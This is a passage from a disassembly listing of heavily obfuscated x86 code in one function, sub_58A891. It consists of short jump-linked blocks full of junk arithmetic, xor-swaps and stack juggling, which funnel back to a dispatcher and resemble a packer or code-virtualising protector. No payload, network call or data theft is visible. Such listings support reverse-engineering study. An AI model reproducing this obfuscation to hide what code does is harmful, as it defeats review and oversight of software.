		xchg	eax, [esp+4Eh+var_4E]
		jmp	loc_5A5762
; ---------------------------------------------------------------------------


loc_5AC611:				; CODE XREF: sub_58A891+2841Aj
		mov	[esp+4Eh+var_4E], edx
		mov	edx, esp
		jmp	loc_5AB995
; ---------------------------------------------------------------------------


loc_5AC61B:				; CODE XREF: sub_58A891:loc_5AB602j
		or	edi, 3064136Ah
		jl	loc_5A87A0
		jmp	loc_5A0F16
; ---------------------------------------------------------------------------


loc_5AC62C:				; CODE XREF: sub_58A891+1B2BBj
		pop	ebp
		xchg	eax, [esp-1Eh+arg_18+2]
		mov	esp, [esp-1Eh+arg_18+2]
		jmp	loc_59EADC
; ---------------------------------------------------------------------------


loc_5AC638:				; CODE XREF: sub_58A891+21027j
		push	esi
		push	[esp+36h+var_34+2]
		pop	esi
		pop	[esp+36h+var_38+2]
		pop	esp
		push	small 720Ah
		mov	word ptr [esp+30h+var_30], ax
		jmp	loc_5A18B5
; ---------------------------------------------------------------------------


loc_5AC64F:				; CODE XREF: sub_58A891+23426j
		push	edx
		jmp	loc_59EC0B
; ---------------------------------------------------------------------------


loc_5AC655:				; CODE XREF: sub_58A891:loc_5A033Bj
		sub	al, 0Ch
		push	ebx
		jmp	loc_5A2BCB
; ---------------------------------------------------------------------------


loc_5AC65D:				; CODE XREF: sub_58A891+222ECj
		add	esp, 4
		mov	esi, [esp+94h+var_96+2]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xor	ebp, [esp+98h+var_9A+2]
		xor	[esp+98h+var_9A+2], ebp
		xor	ebp, [esp+98h+var_9A+2]
		pop	esp
		add	edi, 4
		xor	edi, [esp+94h+var_96+2]
		xor	[esp+94h+var_96+2], edi
		xor	edi, [esp+94h+var_96+2]
		mov	esp, [esp+94h+var_96+2]
		push	[esp+94h+var_96+2]
		mov	ecx, [esp+98h+var_9A+2]
		add	esp, 4
		push	ebx
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp+9Ch+var_9E+2]
		jmp	loc_5AABAB
; ---------------------------------------------------------------------------


loc_5AC6AC:				; CODE XREF: sub_58A891+1E2CBj
		add	ebp, 41CD0675h
		xor	ebp, 0F4795727h
		sub	edx, ebp
		mov	ebp, [esp+82h+var_82]
		add	esp, 4
		mov	ecx, [esp+7Eh+var_7E]
		add	esp, 4
		jmp	loc_5AA8A6
; ---------------------------------------------------------------------------


loc_5AC6CE:				; CODE XREF: sub_58A891+13B46j
		push	ecx
		mov	ecx, 2
		add	edi, ecx
		jmp	loc_5AAAA7
; ---------------------------------------------------------------------------


loc_5AC6DB:				; CODE XREF: sub_58A891+15CECj
		mov	ecx, 36C8079Ah
		jmp	loc_5A5107
; ---------------------------------------------------------------------------


loc_5AC6E5:				; CODE XREF: sub_58A891+21EC2j
		add	bl, ah
		add	bl, 41h
		jmp	loc_59FF1C
; ---------------------------------------------------------------------------


loc_5AC6EF:				; CODE XREF: sub_58A891+1EC02j
		push	edx
		pop	ebp
		mov	edx, [esp-12h+arg_8+2]
		add	esp, 4
		push	ecx
		jmp	loc_5A4866
; ---------------------------------------------------------------------------


loc_5AC6FD:				; CODE XREF: sub_58A891+2424Bj
		xor	ebp, [esp-12h+arg_8+2]
		xor	[esp-12h+arg_8+2], ebp
		jmp	loc_5B09FD
; ---------------------------------------------------------------------------


loc_5AC708:				; CODE XREF: sub_58A891+26191j
		mov	eax, ebp
		jmp	loc_5AF58C
; ---------------------------------------------------------------------------


loc_5AC70F:				; CODE XREF: sub_58A891+24C06j
		push	2D447F21h
		jmp	loc_59E314
; ---------------------------------------------------------------------------


loc_5AC719:				; CODE XREF: sub_58A891+27ABEj
		push	eax
		mov	eax, 6A455C4Bh
		push	edi
		mov	edi, 27500D62h
		neg	edi
		shl	edi, 3
		jmp	loc_59BF87
; ---------------------------------------------------------------------------


loc_5AC72F:				; CODE XREF: sub_58A891+1FD5Dj
		mov	dh, 0F5h
		sub	ah, dh
		mov	edx, [esp+44h+var_46+2]
		add	esp, 4
		push	edx
		mov	dh, 0Ah
		sub	dh, 0C9h
		sub	bl, 27h
		sub	bl, dh
		add	bl, 27h
		mov	edx, [esp+44h+var_46+2]
		add	esp, 4
		jmp	loc_5AC6E5
; ---------------------------------------------------------------------------


loc_5AC758:				; CODE XREF: sub_58A891+27AD0j
		and	bh, 31h
		dec	bh
		jmp	loc_5A23D4
; ---------------------------------------------------------------------------


loc_5AC762:				; CODE XREF: sub_58A891+157C9j
		add	ecx, 4
		sub	ecx, 4
		jmp	loc_5AA293
; ---------------------------------------------------------------------------


loc_5AC770:				; CODE XREF: sub_58A891+139ABj
		push	edx
		mov	edx, 2A17286Dh
		and	ebx, edx
		pop	edx
		push	ebx
		push	ecx
		pop	ebx
		pop	ecx
		not	ecx
		jmp	loc_5A1BAB
; ---------------------------------------------------------------------------


loc_5AC784:				; CODE XREF: sub_58A891+247CBj
		sub	ebx, 5F2F168Eh
		pop	ecx
		xor	ebx, [esp+1Ah+var_1C+2]
		xor	[esp+1Ah+var_1C+2], ebx
		xor	ebx, [esp+1Ah+var_1C+2]
		pop	esp
		mov	[esp+16h+var_18+2], eax
		mov	eax, ebx
		mov	ebx, eax
		pop	eax
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_5AC7A2:				; CODE XREF: sub_58A891+1C11Bj
		pop	eax
		push	29FEh
		mov	[esp+8Ah+var_8A], edi
		mov	edi, 43F30879h
		xor	edx, edi
		pop	edi
		jmp	loc_5AED52
; ---------------------------------------------------------------------------


loc_5AC7B8:				; CODE XREF: sub_58A891+15944j
		test	cx, ax
		pushf
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_5AC7C1:				; CODE XREF: sub_58A891+172AFj
		add	esi, 4
		xchg	esi, [esp+0]
		pop	esp
		pop	eax
		sub	bl, al
		push	34A5h
		mov	[esp+72h+var_74+2], edx
		push	ebx
		mov	bl, 96h
		push	eax
		jmp	loc_5A9BD8
; ---------------------------------------------------------------------------


loc_5AC7DF:				; CODE XREF: sub_58A891+1A8B8j
		push	594Ch
		jmp	loc_59F3D2
; ---------------------------------------------------------------------------


loc_5AC7E9:				; CODE XREF: sub_58A891+275DAj
		pop	eax
		add	edx, 4
		jmp	loc_5AEDEA
; ---------------------------------------------------------------------------


loc_5AC7F2:				; CODE XREF: sub_58A891+17BF9j
		push	[esp+82h+var_82]
		push	[esp+86h+var_86]
		push	[esp+8Ah+var_8A]
		jmp	loc_5A9E8C
; ---------------------------------------------------------------------------


loc_5AC800:				; CODE XREF: sub_58A891+12EEBj
		pop	ebp
		push	57A1h
		mov	[esp+8Ch+var_8E+2], ebp
		mov	bp, 479Ch
		add	bp, 6CC3h
		sub	esp, 2
		mov	word ptr [esp+90h+var_92+2], ax
		mov	ax, 36E6h
		and	bp, ax
		mov	ax, word ptr [esp+90h+var_92+2]
		add	esp, 2
		xor	bp, 4686h
		jmp	loc_5A9895
; ---------------------------------------------------------------------------


loc_5AC831:				; CODE XREF: sub_58A891+133D9j
		mov	[esp+16h+var_18+2], esi
		mov	esi, 800000h
		jmp	loc_5AEFA2
; ---------------------------------------------------------------------------


loc_5AC83E:				; CODE XREF: sub_58A891+1D688j
		pop	ebp
		jmp	loc_5ABAE9
; ---------------------------------------------------------------------------


loc_5AC844:				; CODE XREF: sub_58A891+193B2j
		push	ebp
		mov	ebp, 0CC66EDE6h
		sub	ecx, ebp
		pop	ebp
		jmp	loc_5AE3D1
; ---------------------------------------------------------------------------


loc_5AC852:				; CODE XREF: sub_58A891+19E0Aj
					; sub_58A891+1B1CEj
		sub	esp, 4
		jmp	loc_5B04E1
; ---------------------------------------------------------------------------


loc_5AC85A:				; CODE XREF: sub_58A891+18ABBj
					; sub_58A891+22212j
		push	85Ah
		mov	[esp-12h+arg_8+2], ebp
		mov	ebp, 253762B1h
		add	[esp+8], ebp
		pop	ebp
		push	[esp-16h+arg_E]
		jmp	loc_5A2996
; ---------------------------------------------------------------------------


loc_5AC874:				; CODE XREF: sub_58A891+13210j
		add	esp, 4
		jmp	loc_5A26F5
; ---------------------------------------------------------------------------


loc_5AC87C:				; CODE XREF: sub_58A891+1583Ej
		neg	dh
		push	eax
		mov	ah, 63h
		shl	ah, 6
		inc	ah
		jmp	loc_59E5D3
; ---------------------------------------------------------------------------


loc_5AC88B:				; CODE XREF: sub_58A891+1E7FBj
		jmp	loc_5A24E4
; ---------------------------------------------------------------------------


loc_5AC890:				; CODE XREF: sub_58A891+1336Dj
		inc	edi
		js	loc_5B1A8D
		inc	edi
		add	edi, 52980CA4h
		mov	eax, edi
		pop	edi
		push	eax


loc_5AC8A2:				; CODE XREF: sub_58A891+11C3Bj
		mov	ebp, 4
		add	edi, ebp
		pop	ebp
		xchg	edi, [esp+0Ah+var_C+2]
		pop	esp
		push	eax
		push	[esp+0Ah+var_8+2]
		pop	eax
		pop	[esp+0Ah+var_C+2]
		mov	esp, [esp+6+var_8+2]
		div	cx
		push	small 3368h
		mov	word ptr [esp+8+var_8],	dx
		jmp	loc_5B2BAC
; ---------------------------------------------------------------------------


loc_5AC8CA:				; CODE XREF: sub_58A891+2015Bj
					; sub_58A891+2486Aj
		xchg	ebp, [esp+8Ah+var_8A]
		mov	esp, [esp+8Ah+var_8A]
		mov	ecx, [esp+8Ah+var_8A]
		push	66F2h
		mov	[esp+8Eh+var_8E], eax
		push	esp
		jmp	loc_5B2354
; ---------------------------------------------------------------------------


loc_5AC8E1:				; CODE XREF: sub_58A891+248A9j
		mov	[esp+92h+var_92], edi
		push	[esp+92h+var_8E]
		jmp	loc_5AD3CD
; ---------------------------------------------------------------------------


loc_5AC8ED:				; CODE XREF: sub_58A891+1B261j
		add	eax, ebp
		push	edx
		mov	edx, 47DD662Bh
		shr	edx, 4
		neg	edx
		add	edx, 116EF773h
		jmp	loc_5A4B03
; ---------------------------------------------------------------------------


loc_5AC905:				; CODE XREF: sub_58A891+19D88j
					; sub_58A891+23204j
		mov	[esp+36h+var_38+2], edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		push	edx
		push	[esp+3Ah+var_38+2]
		pop	edx
		pop	[esp+3Ah+var_3C+2]
		pop	esp
		sub	al, bl
		push	ecx
		jmp	loc_59C37E
; ---------------------------------------------------------------------------


loc_5AC925:				; CODE XREF: sub_58A891+24A83j
		pop	ecx
		add	esp, 4
		jmp	loc_5A11B6
; ---------------------------------------------------------------------------


loc_5AC931:				; CODE XREF: sub_58A891+1BD2Bj
		mov	esp, [esp+0CAh+var_CC+2]
		push	3322h
		mov	[esp+0CEh+var_D0+2], ebx
		jmp	loc_5AB9D7
; ---------------------------------------------------------------------------


loc_5AC941:				; CODE XREF: sub_58A891+13885j
		add	eax, 0F6772161h
		mov	esi, eax
		pop	eax
		jmp	loc_5A1197
; ---------------------------------------------------------------------------


loc_5AC94E:				; CODE XREF: sub_58A891+23F9Aj
		push	254Ah
		jmp	loc_5A1C65
; ---------------------------------------------------------------------------


loc_5AC958:				; CODE XREF: sub_58A891+1EA1Bj
		push	edi
		push	ebx
		jmp	loc_5ABC3A
; ---------------------------------------------------------------------------


loc_5AC95F:				; CODE XREF: sub_58A891+12298j
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		jmp	loc_5A015B
; ---------------------------------------------------------------------------


loc_5AC973:				; CODE XREF: sub_58A891+282C6j
		mov	ebx, edi
		push	ebx
		push	esi
		mov	esi, 4ED67B33h
		jmp	loc_5A060E
; ---------------------------------------------------------------------------


loc_5AC981:				; CODE XREF: sub_58A891+1308Cj
		mov	ecx, [esp+86h+var_86]
		add	esp, 4
		add	dl, bh
		sub	dl, 0AEh
		jmp	loc_59ED12
; ---------------------------------------------------------------------------


loc_5AC994:				; CODE XREF: sub_58A891+15B49j
		mov	[esp+4Ah+var_4A], esp
		add	[esp+4Ah+var_4A], 4
		push	[esp+4Ah+var_4A]
		pop	ebx
		add	esp, 4
		push	ebp
		push	esi
		mov	esi, 31C571FEh
		mov	ebp, esi
		mov	esi, [esp+4Eh+var_4E]
		add	esp, 4
		push	1406h
		mov	[esp+4Eh+var_4E], eax
		jmp	loc_5ABA64
; ---------------------------------------------------------------------------


loc_5AC9C4:				; CODE XREF: sub_58A891+13C71j
		push	[esp+16h+var_18+2]
		push	[esp+1Ah+var_1C+2]
		mov	ebx, [esp+1Eh+var_20+2]
		jmp	loc_5A3B7E
; ---------------------------------------------------------------------------


loc_5AC9D2:				; CODE XREF: sub_58A891+22F21j
		mov	esi, [esp+1Eh+var_20+2]
		add	esp, 4
		sub	edi, ebx
		mov	ebx, [esp+1Ah+var_1C+2]
		add	esp, 4
		jmp	loc_5B252B
; ---------------------------------------------------------------------------


loc_5AC9E5:				; CODE XREF: sub_58A891+259ABj
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_5AC9EA:				; CODE XREF: sub_58A891+274A5j
		push	edx
		mov	dh, 1
		jmp	loc_5AB21B
; ---------------------------------------------------------------------------


loc_5AC9F2:				; CODE XREF: sub_58A891+16B5Aj
		sub	al, dh
		sub	al, 0Fh
		mov	edx, [esp+82h+var_82]
		add	esp, 4
		jmp	loc_59E35E
; ---------------------------------------------------------------------------


loc_5ACA04:				; CODE XREF: sub_58A891+22561j
		push	ebp
		not	[esp+82h+var_82]
		pop	ebp
		jmp	loc_5A7319
; ---------------------------------------------------------------------------


loc_5ACA0E:				; CODE XREF: sub_58A891+253D7j
		mov	esi, [esp+7Eh+var_7E]
		add	esp, 4
		xchg	ecx, [esp+7Ah+var_7A]
		mov	esp, [esp+7Ah+var_7A]
		sub	esi, 4
		xor	esi, [esp+7Ah+var_7A]
		xor	[esp+7Ah+var_7A], esi
		xor	esi, [esp+7Ah+var_7A]
		mov	esp, [esp+7Ah+var_7A]
		jmp	loc_5A5673
; ---------------------------------------------------------------------------


loc_5ACA31:				; CODE XREF: sub_58A891+179C9j
		xor	ebx, 0DC47F566h
		sub	ebp, 2E5F18C9h
		jmp	loc_5AAF24
; ---------------------------------------------------------------------------


loc_5ACA42:				; CODE XREF: sub_58A891+273C1j
		mov	eax, 6AC00544h
		jmp	loc_5A4944
; ---------------------------------------------------------------------------


loc_5ACA4C:				; CODE XREF: sub_58A891+14030j
		push	[esp+80h+var_82+2]
		pop	ebp
		add	esp, 4
		push	7FAFh
		mov	[esp+80h+var_82+2], edx
		push	esi
		push	edi
		jmp	loc_5A55D0
; ---------------------------------------------------------------------------


loc_5ACA62:				; CODE XREF: sub_58A891+26FC7j
		jns	loc_5B2071
		shl	esi, 2
		sub	esi, 32BE38ECh
		mov	ecx, esi
		mov	bh, ch
		mov	dl, 0


loc_5ACA77:				; CODE XREF: sub_58A891+14AA0j
		pop	edx
		jmp	loc_5AB75B
; ---------------------------------------------------------------------------


loc_5ACA7D:				; CODE XREF: sub_58A891+17A25j
		mov	[esp+0B6h+var_B6], ebp
		jmp	loc_59DDD2
; ---------------------------------------------------------------------------


loc_5ACA85:				; CODE XREF: sub_58A891+1ED4Ej
		xchg	edi, [esp+1Eh+var_20+2]
		mov	esp, [esp+1Eh+var_20+2]
		mov	[esp+1Eh+var_20+2], eax
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_5ACA93:				; CODE XREF: sub_58A891+1E21Bj
		mov	edx, 2DBB7B44h
		neg	edx
		jp	loc_59C3C2
		shr	edx, 5
		jp	loc_5AC85A
		xor	edx, 6922421h
		push	edi
		mov	edi, edx
		jmp	loc_5A4A7E
; ---------------------------------------------------------------------------


loc_5ACAB7:				; CODE XREF: sub_58A891+242A7j
		add	edx, eax
		pop	eax
		sub	[esp+32h+var_30+2], 2CD46344h
		push	edi
		jmp	loc_5A9D38
; ---------------------------------------------------------------------------


loc_5ACAC8:				; CODE XREF: sub_58A891+20959j
		xor	[esp+7Ch+var_7E+2], edi
		xor	edi, [esp+7Ch+var_7E+2]
		mov	esp, [esp+7Ch+var_7E+2]
		test	ecx, eax
		pushf
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_5ACAD9:				; CODE XREF: sub_58A891+1D248j
					; sub_58A891+1D27Aj
		add	ebp, 566F69ADh
		jmp	loc_5A9611
; ---------------------------------------------------------------------------


loc_5ACAE4:				; CODE XREF: sub_58A891+1ED05j
		xor	ch, 0DDh
		sub	al, ch
		mov	ecx, [esp+0]
		jmp	loc_5A558F
; ---------------------------------------------------------------------------


loc_5ACAF1:				; CODE XREF: sub_58A891+26F3Dj
		sub	dl, 80h
		xor	dl, 3Ch
		jmp	loc_5B0673
; ---------------------------------------------------------------------------


loc_5ACAFC:				; CODE XREF: sub_58A891+19D92j
		pop	edx
		push	ebp
		mov	ebp, 29B350D0h
		push	4551h
		jmp	loc_5A9344
; ---------------------------------------------------------------------------


loc_5ACB0D:				; CODE XREF: sub_58A891+2779Aj
		xor	esi, 49736A3Eh
		jl	loc_59E371
		sub	esi, 32173B3h
		jb	loc_5A98DE
		pop	esp


loc_5ACB26:				; CODE XREF: sub_58A891+15D26j
					; sub_58A891+19F7Aj
		ror	[esp-16h+arg_E], cl
		pushf
		jmp	loc_5A11F0
; ---------------------------------------------------------------------------


loc_5ACB2F:				; CODE XREF: sub_58A891+2433Fj
		sub	esi, 1FCC3C7Fh
		jmp	loc_59ED74
; ---------------------------------------------------------------------------


loc_5ACB3A:				; CODE XREF: sub_58A891+26F74j
		sub	edx, 13851910h
		add	edx, edi
		add	edx, 13851910h
		push	ebp
		mov	ebp, 4F056972h
		xor	ebp, 660C48CEh
		sub	edx, 540E032Ch
		add	edx, ebp
		add	edx, 540E032Ch
		jmp	loc_5A8541
; ---------------------------------------------------------------------------


loc_5ACB67:				; CODE XREF: sub_58A891+1E90Cj
		add	esi, 464E3273h
		add	esi, 32A11C6Fh
		jmp	loc_5A4679
; ---------------------------------------------------------------------------


loc_5ACB78:				; CODE XREF: sub_58A891+1296Bj
					; sub_58A891+267D4j
		add	edi, ebx
		mov	ebx, [esp+0]
		jmp	loc_5AC65D
; ---------------------------------------------------------------------------


loc_5ACB82:				; CODE XREF: sub_58A891+1966Aj
		xor	ebx, 0D924DBD7h
		mov	esi, ebx
		jmp	loc_5ABFED
; ---------------------------------------------------------------------------


loc_5ACB8F:				; CODE XREF: sub_58A891+251B6j
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp+3Ah+var_3C+2]
		pop	esp
		push	[esp+36h+var_38+2]
		mov	ecx, [esp+3Ah+var_3C+2]
		jmp	loc_5AF621
; ---------------------------------------------------------------------------
		mov	esp, [esp+3Ah+var_3C+2]
		jmp	loc_5A753C
; ---------------------------------------------------------------------------


loc_5ACBAF:				; CODE XREF: sub_58A891+20D8Bj
		push	3A57h
		mov	[esp+0BAh+var_BA], ecx
		mov	ecx, 4096AAAh
		add	edx, ecx
		pop	ecx
		not	edx
		push	esi
		mov	esi, 2C192C48h
		shl	esi, 4
		jmp	loc_5A6B05
; ---------------------------------------------------------------------------


loc_5ACBCF:				; CODE XREF: sub_58A891+12584j
		add	esi, edx
		pop	edx
		push	576Dh
		jmp	loc_59F17B
; ---------------------------------------------------------------------------


loc_5ACBDC:				; CODE XREF: sub_58A891+20087j
		push	4
		mov	esi, [esp-0Ah+arg_0+2]
		add	esp, 4
		add	[esp-0Eh+arg_8+2], 49904C0Ah
		add	[esp-0Eh+arg_8+2], esi
		jmp	loc_59D805
; ---------------------------------------------------------------------------


loc_5ACBF8:				; CODE XREF: sub_58A891+26703j
		add	ebp, 4
		add	ebp, 4
		jmp	loc_5A7682
; ---------------------------------------------------------------------------


loc_5ACC09:				; CODE XREF: sub_58A891+1E239j
		mov	[esp+32h+var_34+2], esp
		add	[esp+32h+var_34+2], 4
		pop	ebx
		add	ebx, 4
		sub	esp, 4
		mov	[esp+32h+var_34+2], edi
		jmp	loc_59FBBC
; ---------------------------------------------------------------------------


loc_5ACC22:				; CODE XREF: sub_58A891+1F584j
		add	esi, ebx
		pop	ebx
		jmp	loc_5A63FD
; ---------------------------------------------------------------------------


loc_5ACC2A:				; CODE XREF: sub_58A891+134C7j
		push	4F8F3F75h
		pop	ecx
		sub	ebx, ecx
		pop	ecx
		pop	edi
		push	1786h
		jmp	loc_5B2FDE
; ---------------------------------------------------------------------------


loc_5ACC3E:				; CODE XREF: sub_58A891+185ACj
		pop	esp
		and	eax, esi
		mov	esi, [esp+6Eh+var_70+2]
		jmp	loc_5A96DD
; ---------------------------------------------------------------------------


loc_5ACC49:				; CODE XREF: sub_58A891+198F7j
					; sub_58A891+1F903j
		mov	[esp+80h+var_82+2], edx
		mov	dl, 27h
		sub	bl, dl
		pop	edx
		movzx	eax, al
		pop	dword ptr [edi+eax*4]
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_5ACC5C:				; CODE XREF: sub_58A891+1F617j
		add	edx, 0EB26F646h
		push	eax
		jmp	loc_5ACE3F
; ---------------------------------------------------------------------------

locret_5ACC68:				; CODE XREF: sub_58A891+1B2A6j
		retn
; ---------------------------------------------------------------------------
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_5ACC6E:				; CODE XREF: sub_58A891+202FBj
		add	esp, 4
		add	edi, 4
		sub	esp, 4
		mov	[esp+96h+var_96], edi
		push	[esp+96h+var_92]
		jmp	loc_5AAEC7
; ---------------------------------------------------------------------------


loc_5ACC89:				; CODE XREF: sub_58A891+22888j
		mov	esi, 0A57093Bh
		and	esi, 23BE54E8h
		not	esi
		shr	esi, 3
		not	esi
		and	esi, 502C38C7h
		sub	esi, 1F51823Dh
		add	ecx, 647375C0h
		add	ecx, esi
		sub	ecx, 647375C0h
		mov	esi, [esp+9Ah+var_9A]
		add	esp, 4
		push	ecx
		not	[esp+9Ah+var_9A]
		pop	ecx
		push	edi
		mov	edi, 2BE2469h
		or	edi, 266F1902h
		neg	edi
		add	edi, 54EBA95h
		sub	ecx, edi
		pop	edi
		add	eax, ecx
		jmp	loc_5ADA61
; ---------------------------------------------------------------------------


loc_5ACCDE:				; CODE XREF: sub_58A891+237AAj
		mov	edx, 4
		jmp	loc_5A254E
; ---------------------------------------------------------------------------


loc_5ACCE8:				; CODE XREF: sub_58A891+1F2FDj
		add	eax, edx
		pop	edx
		push	eax
		jmp	loc_5B1BC7
; ---------------------------------------------------------------------------


loc_5ACCF1:				; CODE XREF: sub_58A891+215E0j
		pop	edx
		pop	esi
		push	26A5h
		mov	[esp+48h+var_4A+2], esi
		mov	esi, ecx
		sub	esp, 4
		mov	[esp+4Ch+var_4E+2], esi
		add	[esp+4Ch+var_4E+2], 75E51348h
		pop	eax
		sub	eax, 75E51348h
		jmp	loc_5A7784
; ---------------------------------------------------------------------------


loc_5ACD18:				; CODE XREF: sub_58A891+1C763j
					; sub_58A891+20102j
		add	esp, 4
		sub	esp, 4
		mov	[esp+82h+var_82], ebp
		push	esp
		jmp	loc_5B03E5
; ---------------------------------------------------------------------------


loc_5ACD2D:				; CODE XREF: sub_58A891+12D32j
		mov	[esp+0], eax
		push	dword ptr [esp+4]
		jmp	loc_5A99A7
; ---------------------------------------------------------------------------


loc_5ACD39:				; CODE XREF: sub_58A891+17B2Cj
		sub	edi, 212A1D1Ch
		sub	edi, 422C07CDh
		pop	ebp
		jmp	loc_59DAEF
; ---------------------------------------------------------------------------


loc_5ACD4B:				; CODE XREF: sub_58A891+26A93j
		push	[esp+9Eh+var_9E]
		pop	ebp
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp+0A2h+var_A2]
		pop	esp
		jmp	loc_59C1DB
; ---------------------------------------------------------------------------


loc_5ACD64:				; CODE XREF: sub_58A891:loc_5B1597j
		sub	esi, 5691C1EFh
		sub	esi, 1
		push	ecx
		mov	ecx, 1D1F5206h
		or	esi, ecx
		push	[esp+0A2h+var_A2]
		pop	ecx
		add	esp, 4
		add	esi, 82A08525h
		jmp	loc_59DFD0
; ---------------------------------------------------------------------------


loc_5ACD8D:				; CODE XREF: sub_58A891+12C0Dj
		mov	ebx, 2
		jmp	loc_5A727B
; ---------------------------------------------------------------------------


loc_5ACD97:				; CODE XREF: sub_58A891+12CE1j
		xor	esi, [esp+6+var_8+2]
		xor	[esp+6+var_8+2], esi
		xor	esi, [esp+6+var_8+2]
		mov	esp, [esp+6+var_8+2]
		push	176Dh
		mov	[esp+0Ah+var_C+2], ecx
		push	edi
		push	73426E3Bh
		jmp	loc_5B2E37
; ---------------------------------------------------------------------------


loc_5ACDB6:				; CODE XREF: sub_58A891+1D17Cj
		or	edi, 0FCB07DFh
		jle	loc_5B29C3
		push	ebp
		mov	ebp, 5C402E9Eh
		jmp	loc_59BFA3
; ---------------------------------------------------------------------------


loc_5ACDCD:				; CODE XREF: sub_58A891+1BDF2j
		mov	[esp+6+var_8+2], ecx
		jmp	loc_5A1B1A
; ---------------------------------------------------------------------------


loc_5ACDD5:				; CODE XREF: sub_58A891+1218Bj
		xchg	eax, [esp+8Ah+var_8A]
		mov	esp, [esp+8Ah+var_8A]
		and	ch, 0EBh
		sub	ch, 0FFh
		add	ch, 0BBh
		jmp	loc_5B1750
; ---------------------------------------------------------------------------


loc_5ACDE9:				; CODE XREF: sub_58A891+176B9j
		not	ebp
		dec	ebp
		add	ebp, 1
		dec	ebp
		not	ebp
		jmp	loc_5ACA04
; ---------------------------------------------------------------------------


loc_5ACDF7:				; CODE XREF: sub_58A891+2189Dj
					; sub_58A891+277B2j
		sub	al, 7Bh
		sub	esp, 4
		mov	[esp+1Eh+var_20+2], edx
		push	7F4Fh
		mov	[esp+22h+var_24+2], ecx
		jmp	loc_59C5A7
; ---------------------------------------------------------------------------


loc_5ACE0F:				; CODE XREF: sub_58A891+12E70j
					; sub_58A891+26D30j
		sub	esp, 4
		mov	[esp+2+var_4+2], edx
		push	ebx
		push	ebp
		jmp	loc_5A7283
; ---------------------------------------------------------------------------


loc_5ACE1C:				; CODE XREF: sub_58A891+1499Bj
		pop	esp
		mov	[esp+0BEh+var_BE], eax
		mov	eax, 49E643B0h
		neg	eax
		xor	eax, 215A682Dh
		jmp	loc_5A038F
; ---------------------------------------------------------------------------


loc_5ACE31:				; CODE XREF: sub_58A891+15601j
		add	ebx, edi
		pop	edi
		jmp	loc_5AECBC
; ---------------------------------------------------------------------------
		lodsb
		jmp	loc_5ABBC3
; ---------------------------------------------------------------------------


loc_5ACE3F:				; CODE XREF: sub_58A891+223D2j
		mov	eax, 57204761h
		jmp	loc_59D72B
; ---------------------------------------------------------------------------


loc_5ACE49:				; CODE XREF: sub_58A891+207EEj
		xor	eax, ebx
		mov	ebx, [esp-12h+arg_8+2]
		jmp	loc_5A2466
; ---------------------------------------------------------------------------


loc_5ACE53:				; CODE XREF: sub_58A891+20918j
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_5ACE58:				; CODE XREF: sub_58A891+2681Ej
		sub	bl, 0Ah
		mov	eax, [esp+94h+var_96+2]
		add	esp, 4
		add	bl, al
		jmp	loc_5B1E98
; ---------------------------------------------------------------------------


loc_5ACE6B:				; CODE XREF: sub_58A891+230AEj
		pop	edi
		jmp	loc_5A971D
; ---------------------------------------------------------------------------


loc_5ACE71:				; CODE XREF: sub_58A891+1BED8j
		dec	ecx
		jmp	loc_59CBCE
; ---------------------------------------------------------------------------


loc_5ACE77:				; CODE XREF: sub_58A891+257F7j
		push	edx
		mov	edx, 2B751E37h
		sub	edx, 248BDC2Bh
		sub	eax, edx
		pop	edx
		push	2BE0h
		mov	[esp-0Eh+arg_4+2], edx
		push	ebx
		mov	ebx, 127648h
		push	6405h
		mov	[esp+0], edx
		mov	edx, 64C917FBh
		jmp	loc_59FA66
; ---------------------------------------------------------------------------


loc_5ACEA6:				; CODE XREF: sub_58A891+28599j
		shr	edi, 8
		jmp	loc_5AFEC2
; ---------------------------------------------------------------------------


loc_5ACEAE:				; CODE XREF: sub_58A891+1A4E4j
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp+0]
		pop	esp
		jmp	loc_5B06EA
; ---------------------------------------------------------------------------


loc_5ACEC3:				; CODE XREF: sub_58A891+23390j
		push	ecx
		push	[esp+76h+var_74+2]
		push	[esp+7Ah+var_7A]
		pop	ecx
		push	9FEh
		mov	[esp+7Eh+var_7E], edi
		push	esp
		pop	edi
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp+7Eh+var_7E]
		pop	esp
		pop	[esp+7Ah+var_7A]
		mov	esp, [esp+0]
		shl	byte ptr [esp+0], cl
		pushf
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_5ACEF5:				; CODE XREF: sub_58A891+248C9j
		add	ebx, 2
		jmp	loc_5A135D
; ---------------------------------------------------------------------------


loc_5ACF00:				; CODE XREF: sub_58A891+11AE8j
		push	ebx
		push	ecx
		mov	ecx, 50FC76C3h
		push	ecx
		inc	[esp-16h+arg_E]
		pop	ecx
		jmp	loc_5A725C
; ---------------------------------------------------------------------------


loc_5ACF11:				; CODE XREF: sub_58A891+2804Bj
		dec	ecx
		jmp	loc_5AA6FC
; ---------------------------------------------------------------------------


loc_5ACF17:				; CODE XREF: sub_58A891+26B93j
		mov	edi, eax
		mov	eax, [esp+0]
		add	esp, 4
		mov	ebx, edi
		pop	edi
		add	esi, ebx
		pop	ebx
		xor	esi, [esp-26h+arg_1C+2]
		xor	[esp-26h+arg_1C+2], esi
		jmp	loc_5A98DE
; ---------------------------------------------------------------------------


loc_5ACF30:				; CODE XREF: sub_58A891+27F1Ej
		pop	ecx
		jmp	loc_59FEE7
; ---------------------------------------------------------------------------


loc_5ACF36:				; CODE XREF: sub_58A891+1E97Ej
		pop	edx
		push	[esp-0Eh+arg_4+2]
		pop	edi
		jmp	loc_5A586C
; ---------------------------------------------------------------------------


loc_5ACF40:				; CODE XREF: sub_58A891+12C32j
		imul	ecx, eax
		push	ecx
